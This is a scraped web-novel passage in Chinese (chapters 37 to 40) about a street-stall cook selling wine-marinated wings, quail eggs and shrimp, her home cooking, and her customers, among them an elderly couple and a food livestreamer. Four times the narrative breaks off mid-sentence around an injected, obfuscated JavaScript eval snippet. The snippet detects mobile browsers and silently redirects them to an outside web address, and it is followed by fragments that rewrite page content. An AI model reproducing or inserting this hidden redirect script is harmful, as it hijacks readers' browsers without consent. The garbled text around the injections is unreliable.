魏老爷子越闻眼睛越亮,不知从哪拿出一个没商标的瓶子,小心翼翼的倒了一小杯酒出来。 那杯子真的很小,黎秋月估摸着连她小指的一个指节都塞不进去,但就是那么点酒,硬是将糟香劈出一道缝,让店里出现了第二个味道。 “好糟货,当然要配好酒。” 魏老爷子笑眯眯的捻了个豆荚,手指轻轻一挤,豆子就蹦到了嘴巴里。 “先给钱,再吃豆。” 看着魏老爷子亮起来的眼睛,黎秋月果断合上了保温桶,并庆幸自己将要吃的豆荚提前留在了家里。 “……多少钱?” 魏老爷子沉默了好一会儿,才有些憋屈的问道。 “这个数。” 黎秋月比了个手势,看着魏老爷子睁大的眼睛没有丝毫心软,昨天她买三十斤花雕的时候,魏老爷子也是这样的,只不过有价无市的换了个对象,正是所谓的风水轮流转。 这些豆荚还是看在魏老爷子贡献了酒的份上才给他留着的,不然黎秋月早就直接转手给贺兰姐了,省时省力钱也不少。 “……我还有更好的花雕,你敢不敢用?” 老爷子最后还是妥协了,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14131607|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太彻底,但黎秋月心动了。 “我用了你不心疼?” 五十年的花雕真的不一样,黎秋月翻来覆去的看,一双眼睛几乎黏在了上面。 “我还有存货。” 老头笑的可奸诈,黎秋月横看竖看,才从皱纹里看出字来,满脸都写着“凡尔赛”! 好气哦,世界上就不能多她一个有钱人吗! 黎秋月气呼呼的抱着花雕走了,还留下一笔令人心疼的数字。 她发誓,今天花了多少钱,明天都要从魏老头手里加倍的赚回来! 他总不可能还有百年花雕吧! 出批发市场已经快到六点,黎秋月闻多了糟素菜的香气,只想吃点荤的,但瘦肉嫌柴肥肉怕腻,几个菜市场轮番走过去,只看中了一样牛筋。 37. 开门红 “你就吹吧。” 欧阳国丽丢了个白眼过去,一口把温热的汤干了,然后有些不满足的咂咂嘴,眼神不自觉的飘向黎秋月的大保温杯。 味道不错,就是量少了点。 “要喝自己倒。” 黎秋月随手把杯子放到一边,快手汤又不是熬粥,只要材料够了分分钟按桶卖,三丝紫菜汤就是切丝麻烦了些,但这一点完全可以被切丝神器解决。 只要九块九,拼多多就会送五个刀片加个塑料盒。 “我还要再买两个鸡翅。” 欧阳国丽也没客气,倒了满满一杯慢悠悠的喝着,时不时去前面用漏勺捞个鸡翅吃,黎秋月知道这老太太有钱也没阻止,准备走的时候一起算钱。 “您还吃的下啊?!” 黎秋月有些不想卖了,这老太太靠着一杯汤,硬是干掉了十个翅膀啊! 一个两个是赚钱,这么多吃下去,黎秋月真怕老太太家里找上门! “这有啥,想当年我也是个顶顶的铁娘子,一顿敞开能吃几斤干饭,同村的男人没有一个能吃得过我。” 也没有一个能有她挣的工分多! 欧阳国丽想着想着就想到了自家的老头子,那时候的老头长得可俊了,说话也好听,哪像现在,连口糟味都不让她多吃,说是对身体不好,整天熬菜叶子粥给她荤素搭配,吃的脸都绿了! “小姑娘,你这样瘦巴巴的不行啊,人就是要壮实些才有精神气。” 黎秋月出门是把自己从头到脚都包的严严实实的,但欧阳国丽见过多少人啊,一眼看出黎秋月骷髅人的本质。 “别整天想着减肥,到时候跑不动跳不高,连去唱歌都没别人坚持的时间长,喜欢的男孩子跑了,你追也追不上,追得上也抗不回家!” 欧阳国丽扛过枪下过地,修过水坝开过荒田,对好身体的重要性可太明白了,看着黎秋月这个典型的反例,一时没忍住就多说了几句。 “嗯嗯嗯……嗯?!” 欧阳国丽一片好心,黎秋月也做不到完全无视,只能尽可能的左耳朵进右耳朵出,然后就发现自己好像知道了什么很了不得的事。 抢男人什么的,真的是随随便便就能打比方的吗?! “阿丽……” 欧阳国丽还想开口,身后传来了一个熟悉的声音,她先是下意识的缩缩脑袋,又很快挺直了腰杆。 不就是家里的男人找来了吗,女子娘大豆腐,说不吃菠菜粥就不吃菠菜粥。 除非老头子愿意把一日三餐持续了五天的菠菜粥给换了,不然她今晚就去酒店住! “阿丽……” 欧阳国丽忍住转身的冲动,黎秋月却抬眼看了过去,然后眼神就飘到了小老太太身上。 好儒雅的帅老头,奶奶福气不小啊。 “咳,那啥,给我来十个糟鸡翅,再要二十个鹌鹑蛋。” 欧阳国丽装模作样的挑挑拣拣,假装没发现小心挪动到她身边的人影,只是不知道为什么,这嘴角就是下不去。 ‘嘘。’ 看着老爷子把食指竖到嘴边,再看看心神一点没在吃食上的老太太,黎秋月果断把自己丢回了躺椅上。 才不当你们play里的一环! 黎秋月悄悄看着两个老人家不自觉的撒糖,默默把自己包脸的围巾裹的更紧了一点,明明刚刚还觉得肚子有点空,在思考要不要吃个鸡翅,现在却饱的想打嗝。 “阿丽,我错了,我们回去喝莴笋粥,不喝菠菜粥了。” 省略要素过多的拉拉扯扯黏黏糊糊,男人终于从量变到了质变,本来分开的手又握到了一起。 “这次我们多买点,小姑娘的性子有点怪,卖的东西经常不重样。” 欧阳国丽没急着走,准备先冲着小摊下手一波,她到现在还后悔之前没多买几包豆子,弄得现在老头子只能搞点鹌鹑蛋下酒。 把眼部的围巾往上拉,遮住脸做出睡觉模样的黎秋月有点无奈——小老太太的声音真的不小。 “姑娘,你明天还会卖鸡翅吗?” 为了增强说服力,欧阳国丽还专门喊了一嗓子叫醒“睡着”的黎秋月。 “不卖,明天卖糟虾。” 黎秋月无奈的“醒过来”,打了个哈欠开口。 “明天给我留点。” 小老太太眼睛一亮。 她可喜欢吃虾! “先来后到。” 黎秋月拒绝了欧阳国丽的预定行为,表示自己的摊子就在这里,来的时间不早不晚,买到是缘分,买不到就说明今天运道一般。 “……这些,我都要了!” 被拒绝的小老太太很生气,具体表现在她把自己觉得出色的鸡翅全捞走了,还买了不少鹌鹑蛋,成功的凭借一己之力,给黎秋月创下五百多的营业额。 陪在欧阳国丽身边的男人什么都没说,直到两人走远,风声才传来隐约的对话。 “你不能一下吃完。” “那你得帮我存好,鹌鹑蛋也得跟我一起吃。” “好。” …… 可能是欧阳国丽的开门红效果有点好,两位老人的身影刚消失在拐角,黎秋月这边就来了第二个客人,然后是第三个第四个,每个人买的都不多,但人流一直不断。 有些客人不喜欢塑料袋,就用一次性纸杯装了鸡翅或是鹌鹑蛋走,有些连纸杯都不愿拿,索性用竹签把鹌鹑蛋串起来边走边吃,那个留下来的杯子就成了公用的串鹌鹑蛋的杯子。 黎秋月这边没有规则无所谓,只要东西好吃,客人会自己建立规则。 “难怪你要拖着我来买。” 一个女孩子咬了口竹签上的鹌鹑蛋,眼睛顿时就亮了。 “那可不,这个摊子虽然贵了点,但也是真的好吃。” 闺蜜笑出一排大牙,她们俩本来去游乐场的,但路上司机碰上红灯停了车,她觉得难受就开了窗,黎秋月的摊子就跟她隔着一排林子,那香味一阵阵的往鼻子里钻。 闺蜜本来就是个好吃嘴,闻到还忍得住?借着吹风的名义多给了司机五块钱让他停几分钟,自己穿过林子到黎秋月的摊子前,虽然看着糟货有些犹豫,但闻着越发浓郁的香味,还是两种食物都咬咬牙各买一份。 然后她就打开了新世界的大门! 鸡翅的皮弹牙爽口,肉鲜嫩软滑,还带着隐约的酒香;鹌鹑蛋的口感更粉糯一些,咬开才发现连蛋黄都入了味,不是寻常的干巴巴口感。 闺蜜能吃出糟菜里面用了不少香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14196120|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料,但具体到种类她分不清,不过她也不是厨师,压根没把这点放在心上,而是连拽带耍赖的把好友拉下车,两人一起推开新世界的大门。 说好有福同享,她可是很有信用的。 “原来糟货是这种味道……难怪干妈死活要等大日子才吃。” 女孩又咬了一口鸡翅,想到第一次去闺蜜家里发生的事。 “谁说不是呢。” 好朋友心连心,闺蜜都不需要多想就知道女孩的意思,张嘴一次撸掉四个鹌鹑蛋,摇头晃脑的表示赞同。 两个人自从记事以后就没吃过糟货,主要原因在于闺蜜的妈妈。 女孩和闺蜜在小学一年级的时候被分到一个班,但是那个时候两人都有自己的小伙伴,彼此的关系也就是打个招呼的程度。 事情的转折,发生在女孩第一次跟闺蜜回家。 女孩的爸爸是个人渣,却以女儿为筹码死活不肯离婚,却又不肯尽到当父亲的责任,甚至想方设法阻碍女儿和母亲的相处。 女孩跟闺蜜回家的那一天,是因为女孩的妈妈没来接她,而闺蜜被老师留堂,为了避免自己回家挨骂,闺蜜机灵的拉上了女孩一起到家。 闺蜜的选择是正确的,有小客人在,当父母的的确会给女儿一点面子,他们热情的欢迎了女孩,闺蜜的母亲更是小心翼翼的从角落取出一只罐子,说这个糟货特别好吃。 闺蜜母亲没有说谎,她冬天的时候买过糟货,足足三天才舍得吃完,前两天特意去弄了一些,就等着找个大日子跟家里人一起吃。 但她忽视了一个很严重的问题,她吃糟货的时候在冬天,而现在是夏天,所以当闺蜜妈妈兴高采烈的打开罐子往下倒的时候,迎接她们的不是糟货的香味,而是一股怪味和密密麻麻四处蹦跶的白点。 那一天,闺蜜的家里传来了有史以来最大的尖叫。 那一天,闺蜜妈含泪倒掉了一桌肉菜。 那一天,向来懒散的闺蜜爸跟打了鸡血一样清理卫生。 那一天,闺蜜和女孩抱在一起瑟瑟发抖,为她们长长久久的友谊打下了坚固的地基,只是也留下了不能吃糟货的后遗症。 “要不是你把我带回去,那我可就惨了。” 女孩又吃了一只翅中,有些遗憾没有那种粗竹签,不然跟烧烤一眼插着吃肯定方便。 后来她才知道,那天她家里爆发了前所未有的激烈冲突,女孩爸爸嚷着“让她长长记性”把女孩妈妈反锁在家,他家离学校足有五公里,那个时候也没有多少监控,小孩一个人走八成就是给人贩子送菜。 而更可怕的是,后来女孩父亲智商突然高了,意识到只要女儿在自己手上,就不怕妻子不妥协,所以他匆匆赶去学校想把女孩接回来,然后给女孩转学,要不是闺蜜阴差阳错的把人带走,他的计策就成功了。 女孩妈妈在知道丈夫的想法后,果断放下了最后一丝束缚,在确定闺蜜家可靠后,她将女孩送到闺蜜家暂时寄养,一门心思的斗全家,为了放着丈夫一家不要脸,还让女儿认了干亲。 闺蜜和女孩同吃同住,两个小女孩很快就成了分不开的粘粘糖,后来的结果也是喜人的,女孩母亲成功离婚,接着东风创业成功,闺蜜也被女孩母亲买了基金,后半辈子吃穿不愁。 38. 第 38 章 客人来了又走,黎秋月摊子上的东西不断减少,账户上的钱逐渐增加,最后几个鹌鹑蛋被卖出去,黎秋月的手机刚好显示三点半。 跟她预料的售卖时间差不多。 回家的时候天色依旧明亮的很,黎秋月也不急着把半成品送到魏老爷子手上,悠悠闲闲的在家磨了快两个小时,才带着两个保温桶动身。 “怎么来的这么晚?” 魏老爷子口头关心了一句,就沉浸在鸡蛋和鸡翅的海洋中,黎秋月也不在意,刚到手的钱为了买酒转眼花出去大半, 剩下的也没留住多久,调料店的老板刚寻摸到一小批佳品,小半的钱在将其包圆后刚好还剩五元整,能买两根烤肠。 叼着烤肠回家,黎秋月跟贺兰姐聊了一会儿,确定糟货的口味依旧一如既往的出色,就打着哈欠进了厨房,然后对满当当的冰箱犯难。 今晚吃点什么好呢? 纠结半晌,黎秋月从冰箱拖出一只鸭子,打算做个怎么都不会出错的盐水鸭。 先把盐和花椒八角倒进无水无油的锅里翻炒,这一步没有任何技术难度,却让黎秋月后知后觉的想到一件事—— 盐水鸭要腌至少十二个小时才会好吃! 黎秋月想吃又等不了这么久,最后她选择剁两只鸭腿腌着明天吃,只用剩下的食材继续做菜。 从家里的角落翻出一罐啤酒,这是奶奶来吃饭的时候,爸爸陪着喝酒的专属牌子,黎秋月看看瓶底的日期,发现还有三天就要过期了。 刚好给她做啤酒鸭。 比起需要长期准备的盐水鸭,啤酒鸭就友好多了,姜蒜切片跟八角桂皮混合,然后配着香叶一起下油锅炒香,再把剁块的鸭肉倒下去,翻到鸭肉变白后转小火,慢慢把鸭油炒出来,然后丢一把大葱段进锅。 用漏勺将鸭肉别到锅边,然后调大火直接就着锅下豆瓣酱炒出红油,鸭肉回锅继继续翻炒,按照自己的口味加料后,一罐子啤酒就可以全倒下去。 黎秋月对鸭肉的分量把握的很好,最后一点啤酒倒完,刚好没块一厘米,接下来就是把火重新调到中小档位,炖煮两刻钟出锅。 生鸭肉还有连着鸭腿的四分之一只,黎秋月在鸭肉粥和老鸭汤中间犹豫了一会儿,最后果断选择了姜母鸭。 上次生姜打折,黎秋月一不小心就买多了,再不用完不是发芽就是烂,她实在见不得浪费。 据说泉州的姜母鸭要用麻油煎,说放鸭放酒不放水做出来才好吃,黎秋月这边原料有限,所以准备采用室友家乡的做法。 切了厚片的姜铺了把锅底铺的满满当当,倒上一层油把剁好的鸭块放进去,加不会跟鸭肉冲突自己也不反感的调味料,一大碗水倒进去开小火,就什么都不用管了。 两个灶台都被占据,黎秋月也没了炒菜的打算,去卫生间洗了个脸就往床上一倒,悠悠闲闲的玩起小游戏。 黎秋月是个种田玩家,所以一抬头一睁眼的功夫,她就发现分针已经走过一半。 ! 她赶紧跑到厨房掀开锅盖,然后长舒口气——刚好卡在最后的收汁阶段,都没烧焦。 出锅,吃饭! 啤酒鸭不带丁点鸭毛的味道,烧出来的口感又鲜又嫩,没有丁点苦味,甚至连酒味也没有多少,浓油酱赤本来多吃几口就腻了,但黎秋月依着自己的口味抓了把辣椒下去,直接成了点睛之笔。 具体表现为黎秋月本来是穿着大衣吃的,但啃了几块以后,身上就只剩下一件长袖衬衫。但就算是这样,她都控制不住往啤酒鸭上面夹的筷子,除非她筷子伸向的是旁边的姜母鸭。 姜母鸭吃起来也是辣的,只是跟啤酒鸭的有很大区别,一个是辛辣,通过猛烈的进攻刺激感官,像是烈焰红唇的美人,连开口都不需要,眼波流转间就足够让人神魂颠倒。 而姜母鸭不一样,它是相对温和的姜辣,闻起来带着点焦香,吃一口却才会发现,原来这世界上有一种食物真的能让酥和烂同时出现,明明带着很重的姜味,吃起来却并不让人讨厌,反倒觉得是一种独特的风味。 姜母鸭的辣最开始尝起来都不会有多少感觉,人们只沉浸在它的鲜香中无法自拔,就像是带着金丝眼镜书卷气浓重的美人,只有关系渐深,才能发现它的本质是野兽西装,斯文败类只是伪装的表皮。 黎秋月本来还有些遗憾自己吃不到鸭血粉丝汤,这两道菜一上桌,黎秋月直接把原来的规划忘掉了九霄云外,把自己撑了个肚儿滚圆,还琢磨着明天再来一回。 吃完晚饭时间还早,黎秋月琢磨着再玩一会儿游戏就睡觉。 “啊!” 被生物钟和闹钟同时叫醒的黎秋月露出了崩溃的表情,用文字生成了语音包。 这个世界上为什么会有早起! 她四点才睡,六点就要爬起来! 再怎么张牙舞爪,该做的事情还是不能耽搁。 确定自己只有五分钟的休息时间后,黎秋月直接在床上躺下抓好高马尾,然后飞快的套上衣服裤子,刷牙的功夫准备好洗脸水,多线程工作全速开启,风驰电掣的冲向批发市场。 空车而去满载而归,黎秋月的时间卡的还算不错,最后一桶虾被搬下车的时候,黎秋月在电梯里碰上了两位打工人。 “先洗虾,要是洗完那就剥虾仁。” 糟虾跟糟中翅的流程差不多,但一只只的清洗实在是有点琐碎,黎秋月果断选择外包。 糟虾是一个价,糟虾仁可是另一个价,黎秋月可不是个吃亏的性子。 给两人布置了任务,黎秋月就坐到客厅里看电视去了,为了防止自己睡着,她专门找了星爷的经典电影,但还是没抵抗住周公的召唤,再睁开眼睛的时候电影已经自动放到了第二部。 ? 黎秋月没反应过来发生了什么,呆呆的看了好一会儿才回神,下意识的拿起手机看时间——十一点多了?! 她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14200125|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么能睡的吗! 不对,她刚刚好像是晕过去的。 每次黎秋月觉得自己的脆皮表现形式已经用完了以后,身体总能让她超乎想象。 比如现在,她只是站起来的时候稍微急了点,眼前就一阵阵的发黑。 黎秋月知道身体缺营养,但也不能把她吃进去的东西全补过去,一点维持活动的卡路里也不留啊! 缓起身,轻抬腿,徐迈步。 几番试探,黎秋月的速度最终定格在原来的四分之一,她慢慢的起身慢慢的走,慢慢的检查两人有没有偷懒的现象。 很好,依旧是她勤奋的员工! 黎秋月慢哒哒的进了厨房,从冰箱里摸了好几个鸡蛋出来,考虑到自己的速度,她先往锅里倒油,再开火打鸡蛋。 她现在就是饿过头了,吃饱了人也就不会掉帧了,而在没有能够直接进嘴的水果蔬菜的情况下,煎鸡蛋已经是黎秋月想到的最简单的快手菜。 两个煎蛋下肚,黎秋月从0.25的倍速恢复到了0.5,又两个鸡蛋下肚,活动频率回归0.75。 差不多了。 黎秋月没打算靠吃煎蛋填饱肚子,她一冰箱半冰柜的食材,能做快手菜的也不少,何必死磕一个呢。 在冰箱左翻右找,去冰柜前扒后拉,在两分钟的紧急选材后,黎秋月拖出了一条秋刀鱼,用盐抹一遍以后就放到旁边不管了。 烤秋刀鱼很好吃,但腌制半个小时,黎秋月决定回头料理。 现在真正的主角是豆腐。 平底锅放到灶台上,豆腐整块放下去煎到凉面微皱,用铲子怼怼有一层薄壳就可以出锅,再换了圆锅把豆腐倒进去放调料加水炖煮,出锅就是虎皮豆腐。 食谱上说要炖煮一刻钟,黎秋月饿得慌,入锅前又把豆腐被横着切薄,五分钟出锅的味道也不差,尤其是按照自己口味加进去的那几片香肠,直接让素菜的味道又上了一个档次。 狼吞虎咽的把虎皮豆腐下肚,黎秋月的活动速度已经恢复到原来的九成,秋刀鱼还要再腌制一会儿,黎秋月打算乘现在把虾给煮了,省的回头一大堆工作吓死人。 煮完两锅虾,黎秋月看看时间也差不多了,便往秋刀鱼身上撒了点秘制小料汁,然后把鱼放到锡纸盘上,直接怼进了空气炸锅,只等五分钟以后翻个面,就能尝到美味的秋刀鱼了。 空气炸锅是办信用卡送的,虽然里面的功能完好,但外面却坑坑洼洼还带裂痕,根本卖不出去。 空气炸锅兢兢业业的工作,黎秋月也没闲着,她把腌够了时间的鸭腿从保鲜膜中解救出来,冲掉表面的盐分,然后用葱姜水给鸭腿焯水。 小锅里倒一瓢热开水,放完八角茴香等香料后把鸭腿放进去,小火慢煮至少一刻钟,而这也不是结束,鸭腿出锅以后还要在冰箱里呆四个小时,不然就少了风干肉的味道。 盐水鸭一时半会儿是吃不上了,但秋刀鱼转眼就到了能食用的时候。 39. 糟虾 刚出锅的秋刀鱼还在噼啪作响,黎秋月挤了点柠檬汁上去,帮它们完成了最后的蜕变。 鱼肉外酥里嫩,却因为柠檬汁的中和一点不腻,绽开的肉像是雪白的花瓣,却又带来食物的香气,黎秋月白嘴吃了半条鱼,才舍得拿剩下的一半去配米饭。 鱼不算大,但一整条配上半碗米饭也让黎秋月撑的不行,本来还琢磨着炒个素菜做好营养搭配,结果现在……还是蒸根玉米吧,冷着热着都能吃。 一点五十,黎秋月送走两个小时工,睡了个有点晚的午觉,两点半准时出门摆摊。 为了方便计算,虾也是按只卖的,纯虾仁比虾要贵两块钱,黎秋月照旧躺在椅子上佛系经营,只是这次她点了煤气灶,用一只铁锅炖起了鸭汤。 黎秋月刷短视频的时候被醋椒鸭架汤馋到了,她在路上算过了,煤气灶火力旺,鸭架汤二十分钟就能炖好,她昨天在这边摆了半个小时摊,肯定能炖够时间。 黎秋月熬高汤都快麻木了,闭着眼睛都知道怎么炖汤,闻惯了自家爆炸式的香气,鸭架汤的味道根本不能引起她的任何注意,但客人们不一样啊! 师巧觉得自己的哈喇子都要流下来了。 最近天冷,她以贴冬膘的借口吃了一顿又一顿,但因为穿的比较宽松的衣服,肉又不在脸上,她便一直抱着侥幸心理,直到今天穿棉袄,才发现去年宽松的棉袄现在紧绷绷,才痛定思痛的要减肥。 今天是她骑行减肥的第一天。 “这个鸭子怎么卖?” 师巧不知道自己是怎么到摊子前的,总之等她回过神来的时候,人已经下车站到锅边了。 “鸭子不卖。” 黎秋月果断的拒绝,伸手指指三轮车上的保温桶。 “我是卖糟虾的。” 她就炖了一只鸭架,刚好够她自己吃的。 “哦……好……” 师巧尴尬的应了一声,顺势转回摊前,还没瞅到虾长啥样,就被这个价钱吓了一跳。 一只虾卖这么贵,是金子做的还是银子做的?! 师巧有些震惊的看向黎秋月,刚好这个时候吹来一阵风,糟货的香气直接扑了师巧满怀,她顿时把想说的话都吞了下去,拿出手机扫了码,给自己挑了个看着最大的虾。 虾仁是不可能买的,除非她能中一个亿的彩票。 利索的去了虾头虾皮,又用竹签挑出虾线,师巧看着要了她不少小钱钱的虾犹豫了一会儿,最后还是一口吃掉了整个虾仁。 好吃! 河虾在糟汁里呆久了,每一丝肉都带带上了那份独特的糟香,虾肉没有久放的松松垮垮,紧致却没有丁点费牙的干巴,师巧清楚的听到自己的味蕾在尖叫,沉醉在美味中无法自拔。 这种感觉她在之前的人生中也没有多少次,上一次还是在小区旁边买了一份土豆泥。 “你看,我就说这摊子又换新品种了,你还不信。” 一对小情侣打打闹闹的走过来,师巧的思维还沉浸在虾仁的海洋中,耳朵却已经不由自主的竖了起来。 师巧觉得这个世界上有两种美好的事,围观别人谈恋爱,和围观别人谈恋爱。 至于自己谈恋爱……这天可真天啊。 “我错啦,我不应该怀疑的,待会儿我们多买点回去吃好不好?” 小情侣中的男性长了一双眼角下垂的圆圆眼,冲女友撒娇的模样总让师巧幻视围着主人的大狗,还是天生爱笑的萨摩耶版本。 显然女友也是这么想的,被哄好的她在男友脑袋上摸了摸,那动作跟师巧去宠物咖撸狗的手法一模一样。 “下不为例。” 女友松了口,男友赶紧使劲点头,别人可能以为说的是小摊,其实只有两人才明白,女友说的是男友因为游戏忽略自己的事情。 “今天是虾哎……老板你就不能卖的便宜点吗?” 快乐大狗蹿到摊子面前,看清价钱后就蔫了下去,黎秋月摊子上的东西是真的好吃,但也是真的贵啊! “已经很便宜了。” 跑掉本钱和人工费,黎秋月真的就挣了个辛苦钱。 “我们先要两只。” 男友也就是例行抱怨,见黎秋月没有松口的意思,立刻跟女友下了单。 黎秋月摊子上的味道的确很有保障,但这才摆摊几天啊,还是先尝后买比较合适。 再等一两个月,要是摊子还在的话,他们就可以直接购入了。 师巧悄咪咪的听着两人笑闹,只觉得青春果然美好,恋爱还是看人谈的起劲,她正在心里磕糖呢,就听到男人下了单,顿时回过神来。 小情侣再甜也填不饱她的肚子,但他们要是把大虾都挑走了,师巧觉得自己今天都不会快乐了! 趁着年轻人还在腻腻歪歪的你给我剥虾,我喂你吃肉,师巧飞快的计算了自己能动用的余额,抓了个打包盒抄起了漏勺。 大虾只能是她的! 气氛莫名就热血了起来。 一只两只三只……师巧手上的勺子抬起又落下,一个个河虾转眼进了盒子,等到小情侣从美味中回神,准备大量购买的时候,师巧已经带着她满当当的盒子骑远了。 ? 小情侣并不知道师巧的念头,他们高高兴兴的买了大虾,就甜甜蜜蜜的踏上了回家的路。 黎秋月摊子的食物味道太过出众,虽然只有短短三天的摆摊,却也有了不少回头客,河虾的价格高也挡不住吃货多,有钱的一盒一盒运,没钱的几只几只买,鸭架汤的香味越来越浓,河虾和糟汁也越来越少。 欧阳国丽到摊子的时间并不算晚,但这个时候的河虾已经卖的只有个可怜兮兮的桶底,就连糟汁也所剩无几。 “生意这么好的吗?!” 欧阳国丽真的震惊了,虽然知道黎秋月摊子上的食物的吸引力,但根据她的推算,她到达小摊的时候应该还会有一半的吃食才对啊,这种骤然上升的销售量根本不符合增长曲线。 “十分钟前还有半桶的,” 黎秋月对小老太太好感挺高,具体表现在她回答其他人的时候能多简单就多简单,而欧阳国丽可以得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14214915|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她的解释。 “上个客人是个主播,说什么随机匹配到了我家的虾当晚饭,然后就成这样了。” 黎秋月说起来有点无奈,那个主播看到她摊子上价钱的时候脸都变色了,却还硬是被架起来买了虾,走的时候整个人的精神气都被抽空了。 “那ta运气可够好的。” 小老太太捞了只虾尝味道,然后果断下了定论。 黎秋月的摊子很好吃,但大多数人都摸不清好吃到什么程度,用个最浅显的对比——小老太太以前吃过口感类似的糟虾,每只均价是黎秋月的五倍,还得提前预定! “大概吧。” 黎秋月不可置否,她的眼力好着呢,主播当时夹一只虾出来,脸上就灰败一点,最后掏出手机付款的时候整个人都在打哆嗦,估计出了不少血。 “剩下的我都要了。” 欧阳国丽尝到了虾仁的滋味,估算了一下分量后果断包圆,还试图打探黎秋月的行踪。 “明天我早点来,你还是三点钟出摊对吧?” 小老太太不缺钱,就缺好吃的东西,虽然雇佣的厨师手艺不错,但那句话怎么说来着? 家花不如野花香。 她就喜欢吃外面的! 欧阳国丽一边想一边打包,最后看着手上可怜兮兮的几个盒子,还是没忍住瞪了老头子一眼。 要不是这老东西临走的时候非说要戴今年新织的围巾,她也不会晚了二十多分钟才出发,现在好了,本来吃饱的分量硬是成了打牙祭的! “不是。” 黎秋月轻手轻脚的把东西挪到餐桌上,等欧阳国丽打包完毕,自己也坐到了三轮车的椅子上才答话。 “今天是我在这里摆摊的最后一天,明天就不来了。” 黎秋月本来想告别的简单一些,比如跟之前一样留个再见就跑,但想着欧阳国丽的年纪,还是说的具体许多。 这么冷的天,小老太太没必要在寒风里挨冻。 “啊……你给我停下,把话说清楚!” 欧阳国丽被出乎意料的回答弄得愣住,黎秋月趁着小老太太没反应过来,直接启动三轮车跑路,等小老太太想要个解释的时候,黎秋月三拐两拐的从大路进小路,连影子都瞧不到了。 小老太太追不上黎秋月,又低头看看自己受伤的盒子,最后一巴掌排在老头子的背上! “换一天戴围巾不行吗,随便裹一条出门不行吗,现在好了,我的虾都没了!” 老头觉得很无辜,但他还是不敢作声,毕竟间接关系也是关系。 都怪那个摊主,为什么不提前一天说呢。 这边的欧阳国丽心情糟糕,那边的西门一大碗心情也没好到哪里去。 西门一大碗,原名西门志高,后来因为某牌子的家用电器大火改名西门高,是个吃播,最近在挑战“你们点啥我吃啥”的系列,今天的晚饭是小摊上很贵的糟虾。 之前挑战的都是活珠子之类的食物,这次西门一大碗还以为观众终于做个人了,没想到是对他的钱包下手了。 40. 西门一大碗 “西门不吹雪,只爱猛干饭,大家好,我是吃播西门一大碗,最近的主主题是[粉丝点啥我吃啥],今天的晚饭是一大——碗糟虾!” 钱包出血的事实已经不可改变,西门高保持着微笑,对着直播摄像头说出了自己惯常的开场白,可惜被直播间的观众一眼看穿。 {今天的主播怎么笑的发苦?} {不想笑就别笑了,我们顶多取关} {主播今天吃的是虾吗,看上去很不错的样子} {大家好,我是新来的,请问主播是不是一直都是这种表情,我试了下,好难做出来啊} …… 大部分观众都是下午留下的,自然知道西门高的笑脸为什么会带着肉痛,但不妨碍他们纷纷起哄,当然也有些良心未泯的,只是很快淹没在了乐子人的大军中。 西门高已经习惯了自己搞抽象的粉丝,非常迅速的从众多弹幕中捕捉到一条跟晚饭有关的,继续说了下去。 “这份虾是我在小摊上买的,你们看着是不是觉得很诱人,但如果我告诉你,这虾是按只卖的,而且一只售价这个数呢?” 西门高比了个手势,成功把直播间的氛围炒热,然后娴熟的抛出了福袋。 “大家可以猜猜这份虾一共有多少只,半分钟的时间,猜对的可以获得大碗赠送的福袋哦,机不可失失不再来……” 熟练的说着废话拖时间,西门高瞅着直播间人数的增加趋势已经放缓,便低头开始剥虾。 西门高去的时候,虾仁已经被不缺钱的健身爱好者买光了,不然他的心痛还得更上一层楼。 虾仁表面带着浅淡的油光,虾皮看似粘的紧实,其实轻轻一揭就跟虾仁尽数分离,还非常懂事的没带上一丝虾肉,连背上的虾线都是长眼色的橘红色,甚至让西门高觉得不挑也行。 当然最后还是挑了,天大地大节目效果最大,钱都花了热度必须得接着,不然就是输两次。 “你们看啊,俗话说得好一份钱一分货,这虾虽然贵,但看着是真舒服啊。” 